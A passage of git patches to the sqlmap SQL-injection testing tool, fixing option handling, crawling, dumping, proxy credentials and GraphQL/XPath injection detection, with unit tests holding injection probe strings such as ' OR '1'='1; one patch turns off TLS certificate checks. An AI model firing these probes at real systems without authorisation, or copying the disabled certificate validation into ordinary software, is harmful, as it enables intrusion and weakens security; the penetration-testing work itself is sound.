str(conf.httpHeaders) From 4b8c39e424488498eee60ea68130dc5fc4d7f17f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 16:25:57 +0100 Subject: [PATCH 090/126] Fix for --param-filter=POST not matching JSON/XML bodies --- lib/controller/controller.py | 2 +- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 3a44f6cff..2413233d0 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -636,7 +636,7 @@ def start(): skip |= (place == PLACE.REFERER and (kb.testOnlyCustom or conf.level < 3)) # --param-filter - skip |= (len(conf.paramFilter) > 0 and place.upper() not in conf.paramFilter) + skip |= (len(conf.paramFilter) > 0 and place.upper() not in conf.paramFilter and place.upper().replace("(CUSTOM) ", "") not in conf.paramFilter) # Note: e.g. POST for JSON/XML (i.e. '(custom) POST') too # Test Host header only if # --level >= 5 diff --git a/lib/core/settings.py b/lib/core/settings.py index f61af8168..e27142979 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.52" +VERSION = "1.10.11.53" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 8eacffa226bd57da30b2738d0404e5bf360ff7ec Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 16:25:57 +0100 Subject: [PATCH 091/126] Fix for --crawl dropping GET links having same parameter names as POST forms --- lib/core/settings.py | 2 +- lib/utils/crawler.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index e27142979..1f7c01865 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.53" +VERSION = "1.10.11.54" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/crawler.py b/lib/utils/crawler.py index 05cc4a6b4..9a5b15c52 100644 --- a/lib/utils/crawler.py +++ b/lib/utils/crawler.py @@ -501,7 +501,7 @@ def normalizeCrawlingResults(targets): # action name and parameters (e.g. /users/edit?id= vs /products/edit?id=) are not collapsed match = re.search(r"\A[^?]+\?.+\Z", value) if match: - key = re.sub(r"=[^=&]*", "=", match.group(0)).strip("&?") + key = "%s %s" % (target[1] or "GET", re.sub(r"=[^=&]*", "=", match.group(0)).strip("&?")) # Note: e.g. GET link and POST form with same parameter(s) are distinct targets if '=' in key and key not in seen: results.add(target) seen.add(key) From 3fdf0058746d5d36804988767cc2e525ba2af50a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 16:25:58 +0100 Subject: [PATCH 092/126] Fix for --scope/--crawl-exclude not applied to forms found in scripts (e.g. jQuery's $.post) --- lib/core/common.py | 3 +++ lib/core/settings.py | 2 +- 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/lib/core/common.py b/lib/core/common.py index cc44162ee..4c6e4df1c 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -5078,6 +5078,9 @@ def findPageForms(content, url, raiseException=False, addToTargets=False): data = data.strip("['\"]") retVal.add((url, HTTPMETHOD.POST, data, conf.cookie, None)) + # Note: same filtering for forms found inside scripts (e.g. jQuery's $.post(...)) as for regular ones + retVal = set(_ for _ in retVal if not (conf.crawlExclude and re.search(conf.crawlExclude, _[0]) or conf.scope and not re.search(conf.scope, _[0], re.I) or not checkSameHost(response.geturl(), _[0]))) + if not retVal and not conf.crawlDepth: errMsg = "there were no forms found at the given target URL" if raiseException: diff --git a/lib/core/settings.py b/lib/core/settings.py index 1f7c01865..0da7d33d7 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.54" +VERSION = "1.10.11.55" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From b6761e1825030911b878a767b92c2c516b0aaf33 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 16:25:58 +0100 Subject: [PATCH 093/126] Fix for --dump-file with multiple tables and --start/--stop mixing tables --- lib/core/dump.py | 5 ++++- lib/core/settings.py | 2 +- 2 files changed, 5 insertions(+), 2 deletions(-) diff --git a/lib/core/dump.py b/lib/core/dump.py index 0f8571d31..4bbe1c431 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -75,6 +75,7 @@ class Dump(object): self._outputFile = None self._outputFP = None self._lock = threading.Lock() + self._dumpFiles = {} # Note: dump file -> table (written during this run) def _write(self, data, newline=True, console=True, content_type=None): text = "%s%s" % (data, "\n" if newline else " ") @@ -513,7 +514,8 @@ class Dump(object): else: dumpFileName = os.path.join(dumpDbPath, "%s.%s" % (safeTable, conf.dumpFormat.lower())) else: - appendToFile = any((conf.limitStart, conf.limitStop)) + # Note: appending (e.g. of --start/--stop ranges) only to the same table's file (i.e. not to a --dump-file shared among multiple tables) + appendToFile = any((conf.limitStart, conf.limitStop)) and self._dumpFiles.get(dumpFileName, table) == table if not appendToFile: count = 1 @@ -528,6 +530,7 @@ class Dump(object): else: count += 1 + self._dumpFiles[dumpFileName] = table dumpFP = openFile(dumpFileName, 'w' if not appendToFile else 'a', buffering=DUMP_FILE_BUFFER_SIZE) count = int(tableValues["__infos__"]["count"]) diff --git a/lib/core/settings.py b/lib/core/settings.py index 0da7d33d7..116f2bfd6 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.55" +VERSION = "1.10.11.56" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 4f94d69783820ede8332b0d1af3abfc34236ea3d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 16:25:58 +0100 Subject: [PATCH 094/126] Fix for --proxy-cred with URL-encoded looking characters (e.g. '%41') --- lib/core/option.py | 3 ++- lib/core/settings.py | 2 +- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index 6500bed8c..fa848099f 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1374,7 +1374,8 @@ def _setHTTPHandlers(): if conf.proxyCred: # Reference: http://stackoverflow.com/questions/34079/how-to-specify-an-authenticated-proxy-for-a-python-http-connection - proxyString = "%s@" % conf.proxyCred + # Note: (raw) credentials have to be URL-encoded, as urllib decodes them (e.g. '%41' would become 'A') + proxyString = "%s@" % ':'.join(_urllib.parse.quote(_, safe="") for _ in conf.proxyCred.split(':', 1)) elif match: # Note: credentials from the proxy URL itself (kept URL-encoded, as urllib decodes them on its own) proxyString = "%s:%s@" % (match.group(1), match.group(2)) diff --git a/lib/core/settings.py b/lib/core/settings.py index 116f2bfd6..32a19bf9c 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.56" +VERSION = "1.10.11.57" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 11d3ee00e6b0aafc34bec670dbb8006ee0c0038c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 16:54:59 +0100 Subject: [PATCH 095/126] Fix for --timeless with --threads still asking for (unsafe) time-based threading --- lib/core/settings.py | 2 +- lib/request/inject.py | 11 +++++++---- 2 files changed, 8 insertions(+), 5 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 32a19bf9c..4baa1707f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.57" +VERSION = "1.10.11.58" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/inject.py b/lib/request/inject.py index ef2f7ccb5..81a782f07 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -112,11 +112,14 @@ def _goInference(payload, expression, charsetType=None, firstChar=None, lastChar timeBasedCompare = (getTechnique() in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) if timeBasedCompare and conf.threads > 1 and kb.forceThreads is None: - msg = "multi-threading is considered unsafe in " - msg += "time-based data retrieval. Are you sure " - msg += "of your choice (breaking warranty) [y/N] " + if kb.get("timeless") is not None: # Note: (HTTP/2) timeless oracle is concurrency-safe (cf. valueParallelEligible()) + kb.forceThreads = True + else: + msg = "multi-threading is considered unsafe in " + msg += "time-based data retrieval. Are you sure " + msg += "of your choice (breaking warranty) [y/N] " - kb.forceThreads = readInput(msg, default='N', boolean=True) + kb.forceThreads = readInput(msg, default='N', boolean=True) if not (timeBasedCompare and kb.dnsTest): if (conf.eta or conf.threads > 1) and Backend.getIdentifiedDbms() and not re.search(r"(COUNT|LTRIM)\(", expression, re.I) and not (timeBasedCompare and not kb.forceThreads): From c209a97131d1bc242555f34b21fde2594ad67fad Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 16:57:46 +0100 Subject: [PATCH 096/126] Fix for direct connections (-d) sharing session data among different databases (e.g. SQLite files) --- lib/core/common.py | 4 ++-- lib/core/settings.py | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 4c6e4df1c..84da2215c 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -5389,7 +5389,7 @@ def hashDBWrite(key, value, serialize=False): """ if conf.hashDB: - _ = '|'.join((str(_) if not isinstance(_, six.string_types) else _) for _ in (conf.hostname, conf.path.strip('/') if conf.path is not None else conf.port, key, HASHDB_MILESTONE_VALUE)) + _ = '|'.join((str(_) if not isinstance(_, six.string_types) else _) for _ in (conf.hostname, conf.path.strip('/') if conf.path is not None else ("%s:%s" % (conf.port, conf.dbmsDb) if conf.direct else conf.port), key, HASHDB_MILESTONE_VALUE)) # Note: in case of direct connection, database (e.g. SQLite file) is part of the key conf.hashDB.write(_, value, serialize) def hashDBRetrieve(key, unserialize=False, checkConf=False): @@ -5400,7 +5400,7 @@ def hashDBRetrieve(key, unserialize=False, checkConf=False): retVal = None if conf.hashDB: - _ = '|'.join((str(_) if not isinstance(_, six.string_types) else _) for _ in (conf.hostname, conf.path.strip('/') if conf.path is not None else conf.port, key, HASHDB_MILESTONE_VALUE)) + _ = '|'.join((str(_) if not isinstance(_, six.string_types) else _) for _ in (conf.hostname, conf.path.strip('/') if conf.path is not None else ("%s:%s" % (conf.port, conf.dbmsDb) if conf.direct else conf.port), key, HASHDB_MILESTONE_VALUE)) # Note: in case of direct connection, database (e.g. SQLite file) is part of the key retVal = conf.hashDB.retrieve(_, unserialize) if kb.resumeValues and not (checkConf and any((conf.flushSession, conf.freshQueries))) else None if not kb.inferenceMode and not kb.fileReadMode and isinstance(retVal, six.string_types) and any(_ in retVal for _ in (PARTIAL_VALUE_MARKER, PARTIAL_HEX_VALUE_MARKER)): diff --git a/lib/core/settings.py b/lib/core/settings.py index 4baa1707f..348d01282 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.58" +VERSION = "1.10.11.59" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 5a2fda4d27d1832e4b10b8d57165c8b6435a3d78 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 16:57:46 +0100 Subject: [PATCH 097/126] Fix for -d with file paths containing special characters (e.g. 'sqlite:///tmp/my dir (old)/t.db') --- lib/core/common.py | 8 ++++++-- lib/core/settings.py | 2 +- 2 files changed, 7 insertions(+), 3 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 84da2215c..e3d59d4c6 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1681,10 +1681,14 @@ def parseTargetDirect(): for dbms in SUPPORTED_DBMS: details = re.search(r"^(?P%s)://(?P(?P.*?)\:(?P.*)\@)?(?P(?P[\w.-]+?)\:(?P[\d]+)\/)?(?P[\w\d\ \:\.\_~\-\/\\]*)$" % dbms, conf.direct, re.I) + # Note: database file path of a file-based DBMS (e.g. SQLite) can contain (almost) any character (e.g. '/tmp/my dir (old)/t.db') + if not details and dbms in DBMS_DICT[DBMS.SQLITE][0] + DBMS_DICT[DBMS.ACCESS][0]: + details = re.search(r"^(?P%s)://(?P.+)$" % re.escape(dbms), conf.direct, re.I) + if details: conf.dbms = details.group("dbms") - if details.group("credentials"): + if details.groupdict().get("credentials"): conf.dbmsUser = details.group("user").strip("'\"") conf.dbmsPass = details.group("pass").strip("'\"") else: @@ -1697,7 +1701,7 @@ def parseTargetDirect(): if not conf.dbmsPass: conf.dbmsPass = None - if details.group("remote"): + if details.groupdict().get("remote"): remote = True conf.hostname = details.group("hostname").strip() conf.port = int(details.group("port")) diff --git a/lib/core/settings.py b/lib/core/settings.py index 348d01282..4152cffa2 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.59" +VERSION = "1.10.11.60" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 175dc5dfa4036cd2e5c04b0ad01e0b30a3700354 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 17:00:27 +0100 Subject: [PATCH 098/126] Fix for -l Burp logs losing entry's scheme and port --- lib/core/common.py | 13 ++++++++++--- lib/core/settings.py | 2 +- 2 files changed, 11 insertions(+), 4 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index e3d59d4c6..0c3078237 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -5748,6 +5748,12 @@ def parseRequestFile(reqFile, checkParams=True): else: scheme, port = None, None + # Note: Burp's entry header line (e.g. '16:20:47 https://www.target.com:443 [1.2.3.4]') is right above the request's separator + if not isinstance(match, six.string_types): + _ = re.search(r"(?Phttps?)://[^\s/]+:(?P\d+)\s+\[[^\]]*\]\s*\Z", content[:match.start()].rstrip("=\r\n\t "), re.I) + if _: + scheme, port = _.group("scheme"), _.group("port") + if "HTTP/" not in request: continue @@ -5823,11 +5829,12 @@ def parseRequestFile(reqFile, checkParams=True): if '://' in value: scheme, value = value.split('://')[:2] - port = extractRegexResult(r":(?P\d+)\Z", value) - if port: + _ = extractRegexResult(r":(?P\d+)\Z", value) + if _: + port = _ host = value[:-(1 + len(port))] else: - host = value + host = value # Note: keeping port (if any) from e.g. Burp's entry header line # Avoid to add a static content length header to # headers and consider the following lines as diff --git a/lib/core/settings.py b/lib/core/settings.py index 4152cffa2..c089c737e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.60" +VERSION = "1.10.11.61" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 9d5259ff9878b24805bf605fa26be24a99e2bbd8 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 17:01:24 +0100 Subject: [PATCH 099/126] Fix for --auth-file (PKI) failing on self-signed/internal CA certificates --- lib/core/settings.py | 2 +- lib/request/pkihandler.py | 3 +++ 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index c089c737e..02cab700b 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.61" +VERSION = "1.10.11.62" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/pkihandler.py b/lib/request/pkihandler.py index 5b1c3495e..9961d2cd7 100644 --- a/lib/request/pkihandler.py +++ b/lib/request/pkihandler.py @@ -37,6 +37,9 @@ class HTTPSPKIAuthHandler(_urllib.request.HTTPSHandler): try: if ssl and hasattr(ssl, "SSLContext") and hasattr(ssl, "create_default_context"): ctx = ssl.create_default_context() + # Note: no server certificate validation (e.g. self-signed/internal CA), as everywhere else (e.g. httpshandler.py) + ctx.check_hostname = False + ctx.verify_mode = ssl.CERT_NONE ctx.load_cert_chain(certfile=self.auth_file, keyfile=self.auth_file) try: return _http_client.HTTPSConnection(host, timeout=timeout, context=ctx) From ed8ad1ec77350a1b7390b89055bf01b131ad2d58 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 17:06:31 +0100 Subject: [PATCH 100/126] Fix for --xpath over POST corrupting special characters (e.g. '+') in payloads --- lib/core/settings.py | 2 +- lib/techniques/xpath/inject.py | 4 +++- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 02cab700b..cea2b5e68 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.62" +VERSION = "1.10.11.63" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/techniques/xpath/inject.py b/lib/techniques/xpath/inject.py index 4df434b63..fd7362835 100644 --- a/lib/techniques/xpath/inject.py +++ b/lib/techniques/xpath/inject.py @@ -43,6 +43,7 @@ from lib.core.settings import XQUERY_HARVEST_CHARS from lib.core.settings import XQUERY_MAX_FILE_LENGTH from lib.request.connect import Connect as Request from lib.utils.xrange import xrange +from thirdparty.six.moves.urllib.parse import quote as _quote SENTINEL = randomStr(length=10, lowercase=True) @@ -154,7 +155,8 @@ def _send(place, parameter, value): time.sleep(conf.delay) old_params = conf.parameters.get(place, "") - conf.parameters[place] = _replaceSegment(place, parameter, value) + # Note: POST body is sent as-is (i.e. raw '+', '&', '%' would be misinterpreted), while GET is URL encoded later on + conf.parameters[place] = _replaceSegment(place, parameter, _quote(value, safe="") if place == PLACE.POST else value) try: kwargs = {"raise404": False, "silent": True} From 6fb39709f2d6c065ac9794ce8b567ea0773d89e4 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 17:09:04 +0100 Subject: [PATCH 101/126] Fix for --graphql error-based detection ignoring HTTP 5xx error responses --- lib/core/settings.py | 2 +- lib/techniques/graphql/inject.py | 15 ++++++++------- tests/test_graphql.py | 22 +++++++++++----------- 3 files changed, 20 insertions(+), 19 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index cea2b5e68..2928aac7e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.63" +VERSION = "1.10.11.64" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/techniques/graphql/inject.py b/lib/techniques/graphql/inject.py index 288ffa0eb..7cb8ec0b3 100644 --- a/lib/techniques/graphql/inject.py +++ b/lib/techniques/graphql/inject.py @@ -357,8 +357,9 @@ def _cell(value): # --- HTTP transport --------------------------------------------------------- -def _gqlSend(endpoint, query, variables=None): +def _gqlSend(endpoint, query, variables=None, errorBody=False): # POST a JSON GraphQL request to `endpoint`, returning (body, http_code) + # Note: errorBody keeps 5xx bodies (e.g. SQL error inside GraphQL 'errors') for error-message fingerprinting body = {"query": query} if variables: body["variables"] = variables @@ -382,7 +383,7 @@ def _gqlSend(endpoint, query, variables=None): return None, 0 finally: kb.postHint = oldPostHint - if blockedStatus(code): # WAF / rate-limit / 5xx is not a usable oracle sample + if blockedStatus(code) and not (errorBody and code >= 500): # WAF / rate-limit / 5xx is not a usable oracle sample return None, code return page or "", code @@ -944,16 +945,16 @@ def _detectError(slot, endpoint): # influence. Require the signature to be ABSENT from a benign baseline, appear only AFTER the # injected value, and REPRODUCE before accepting it. benign = _buildQuery(slot, "1") - basePage = _gqlSend(endpoint, benign)[0] if benign else None + basePage = _gqlSend(endpoint, benign, errorBody=True)[0] if benign else None baseErr = _errorText(basePage) or "" def _appearsOnlyAfterInjection(query, matcher): # matcher(text) -> re.Match or None; True only if it hits the injected response, is absent # from the benign baseline, and reproduces on a second injected request - err = _errorText(_gqlSend(endpoint, query)[0]) + err = _errorText(_gqlSend(endpoint, query, errorBody=True)[0]) if not err or not matcher(err) or matcher(baseErr): return None - err2 = _errorText(_gqlSend(endpoint, query)[0]) + err2 = _errorText(_gqlSend(endpoint, query, errorBody=True)[0]) return matcher(err) if (err2 and matcher(err2)) else None for payload in _SQL_ERROR_PAYLOADS: @@ -963,7 +964,7 @@ def _detectError(slot, endpoint): for pattern in ERROR_PARSING_REGEXES: m = _appearsOnlyAfterInjection(query, lambda t, p=pattern: re.search(p, t)) if m: - detail = m.group("result") if "result" in m.groupdict() else _errorText(_gqlSend(endpoint, query)[0])[:200] + detail = m.group("result") if "result" in m.groupdict() else _errorText(_gqlSend(endpoint, query, errorBody=True)[0])[:200] return "error-based", detail, payload for payload in (_NOSQL_NE, _NOSQL_IN): @@ -972,7 +973,7 @@ def _detectError(slot, endpoint): continue m = _appearsOnlyAfterInjection(query, lambda t: re.search(NOSQL_ERROR_REGEX, t)) if m: - return "nosql-error-based", (_errorText(_gqlSend(endpoint, query)[0]) or "")[:200], payload + return "nosql-error-based", (_errorText(_gqlSend(endpoint, query, errorBody=True)[0]) or "")[:200], payload return None, None, None diff --git a/tests/test_graphql.py b/tests/test_graphql.py index 057b6d7b6..fd519ac52 100644 --- a/tests/test_graphql.py +++ b/tests/test_graphql.py @@ -250,7 +250,7 @@ class TestGraphqlBooleanDetection(unittest.TestCase): gi.conf = type("C", (), {"url": "http://test/graphql"})() pages = {"true": MATCH, "false": NOMATCH} - def fakeSend(endpoint, query, variables=None): + def fakeSend(endpoint, query, variables=None, **kwargs): if "'1'='1" in query: return pages["true"], 200 if "'1'='2" in query: @@ -276,7 +276,7 @@ class TestGraphqlBooleanDetection(unittest.TestCase): def test_graphql_two_true_transport_failures_do_not_confirm(self): # the TRUE query fails transport (-> None), the FALSE succeeds: two None trues must NOT be # read as a reproducible page that "differs" from false (the classic fabricated confirmation) - def fakeSend(endpoint, query, variables=None): + def fakeSend(endpoint, query, variables=None, **kwargs): if "'1'='1" in query: return None, 0 # transport failure on the true payload return NOMATCH, 200 @@ -288,7 +288,7 @@ class TestGraphqlBooleanDetection(unittest.TestCase): def test_graphql_false_page_is_replayed(self): # a FALSE page that does not reproduce (jitter) must not establish an oracle state = {"n": 0} - def fakeSend(endpoint, query, variables=None): + def fakeSend(endpoint, query, variables=None, **kwargs): if "'1'='1" in query: return MATCH, 200 state["n"] += 1 @@ -304,7 +304,7 @@ class TestGraphqlBooleanDetection(unittest.TestCase): # P0-3: the FALSE payload trips a stable HTTP-200 resolver error ({data:null, errors:[...]}), # which yields the same {"user":null} observation as a genuine false. That is NOT a boolean # oracle (it belongs to error-based detection) - _detectBoolean must reject the errored pair. - def fakeSend(endpoint, query, variables=None): + def fakeSend(endpoint, query, variables=None, **kwargs): if "'1'='1" in query: # true -> real rows return MATCH, 200 return '{"data":{"user":null},"errors":[{"message":"resolver failed","path":["user"]}]}', 200 @@ -330,7 +330,7 @@ class TestGraphqlErrorDetection(unittest.TestCase): self._conf = gi.conf gi.conf = type("C", (), {"url": "http://test/graphql"})() - def fakeSend(endpoint, query, variables=None): + def fakeSend(endpoint, query, variables=None, **kwargs): if "'" in query and "'1'='1" not in query: return DB_ERROR, 500 return NOMATCH, 200 @@ -349,7 +349,7 @@ class TestGraphqlErrorDetection(unittest.TestCase): # boolean payloads do NOT diverge (both -> NOMATCH) so boolean detection fails; only the error # payloads trip a DB error. The reported reproducer must be the WINNING error payload, never the # generic ' OR '1'='1 boolean payload. - def fakeSend(endpoint, query, variables=None): + def fakeSend(endpoint, query, variables=None, **kwargs): if "'1'='" in query: # both boolean payloads ('1'='1 / '1'='2) -> identical, no oracle return NOMATCH, 200 if "'" in query: # error payloads (', '', '") -> DB error @@ -415,7 +415,7 @@ class TestGraphqlEndpointDetection(unittest.TestCase): def setUp(self): self._gql = gi._gqlSend - def fakeSend(endpoint, query, variables=None): + def fakeSend(endpoint, query, variables=None, **kwargs): if endpoint.endswith("/graphql") and "__typename" in query: return '{"data":{"__typename":"Query"}}', 200 return 'Not Found', 404 @@ -433,7 +433,7 @@ class TestGraphqlEndpointDetection(unittest.TestCase): self.assertEqual(endpoint, "http://test/graphql") def test_not_graphql_endpoint(self): - def fakeSend(endpoint, query, variables=None): + def fakeSend(endpoint, query, variables=None, **kwargs): return 'Not Found', 404 gi._gqlSend = fakeSend endpoint, page = gi._detectEndpoint("http://test", probePaths=True) @@ -454,7 +454,7 @@ class TestGraphqlIntrospectionFallback(unittest.TestCase): def test_fallback_without_specifiedByURL(self): calls = [] - def fakeSend(endpoint, query, variables=None): + def fakeSend(endpoint, query, variables=None, **kwargs): calls.append(query) if "specifiedByURL" in query: return '{"errors":[{"message":"Unknown field specifiedByURL"}]}', 400 @@ -684,7 +684,7 @@ class TestGraphqlInference(unittest.TestCase): NOMATCHV = '{"data":{"user":null}}' saved = gi._gqlSend try: - def fakeSend(endpoint, query, variables=None): + def fakeSend(endpoint, query, variables=None, **kwargs): if "1=1" in query: return MATCHV, 200 if "1=2" in query: @@ -733,7 +733,7 @@ class TestGraphqlMakeOracle(unittest.TestCase): def setUp(self): self._gql = gi._gqlSend - def fakeSend(endpoint, query, variables=None): + def fakeSend(endpoint, query, variables=None, **kwargs): if "a0:" in query: # batched, aliased request data = {} for m in re.finditer(r'(a\d+):\w+\(\w+:"[^"]*\((1=1|1=2)\)', query): From 60dcd8bbb0b52aa7e2c00324c576e76ff6c5f302 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 17:15:33 +0100 Subject: [PATCH 102/126] Fix for --jwt not able to confirm 